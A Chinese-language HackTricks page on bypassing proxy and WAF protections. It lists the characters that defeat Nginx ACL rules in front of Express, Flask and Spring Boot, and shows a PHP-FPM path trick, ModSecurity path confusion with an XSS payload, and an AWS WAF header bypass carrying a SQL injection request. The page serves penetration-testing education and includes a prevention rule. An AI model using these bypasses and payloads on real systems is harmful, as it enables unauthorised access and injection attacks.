Proxy / WAF Protections Bypass

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

使用路径名操纵绕过 Nginx ACL 规则

技术来自这项研究

Nginx 规则示例:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

为了防止绕过,Nginx在检查之前执行路径规范化。然而,如果后端服务器执行不同的规范化(删除Nginx不删除的字符),可能会绕过此防御。

NodeJS - Express

Nginx版本

Node.js绕过字符

1.22.0

\xA0

1.21.6

\xA0

1.20.2

\xA0, \x09, \x0C

1.18.0

\xA0, \x09, \x0C

1.16.1

\xA0, \x09, \x0C

Flask

Nginx版本

Flask绕过字符

1.22.0

\x85, \xA0

1.21.6

\x85, \xA0

1.20.2

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

1.18.0

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

1.16.1

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx版本

Spring Boot绕过字符

1.22.0

;

1.21.6

;

1.20.2

\x09, ;

1.18.0

\x09, ;

1.16.1

\x09, ;

PHP-FPM

Nginx FPM配置:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx 被配置为阻止访问 /admin.php,但可以通过访问 /admin.php/index.php 来绕过此限制。

如何预防

location ~* ^/admin {
deny all;
}

绕过 Mod 安全规则

路径混淆

在这篇文章中解释了 ModSecurity v3(直到3.0.12版本)**不正确地实现了REQUEST_FILENAME**变量,该变量应该包含访问的路径(直到参数的开头)。这是因为它执行了URL解码以获取路径。 因此,在 mod 安全中,像http://example.com/foo%3f';alert(1);foo=这样的请求将假定路径只是/foo,因为%3f被转换为?结束了 URL 路径,但实际上服务器收到的路径将是/foo%3f';alert(1);foo=

变量REQUEST_BASENAMEPATH_INFO也受到了这个 bug 的影响。

在 Mod 安全的第2版中也发生了类似的情况,允许绕过防止用户访问与备份文件相关的特定扩展名文件(如.bak)的保护,只需发送点 URL 编码为%2e,例如:https://example.com/backup%2ebak

绕过 AWS WAF ACL

格式错误的标头

这项研究提到,可以通过发送一个 AWS 无法正确解析但后端服务器可以解析的“格式错误”标头来绕过应用于 HTTP 标头的 AWS WAF 规则。

例如,发送以下带有 SQL 注入的请求标头 X-Query:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

在过去,可以绕过 AWS WAF,因为它无法理解下一行是标头值的一部分,而 NODEJS 服务器可以(已修复)。

参考

从零开始学习 AWS 黑客技术 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

最后更新于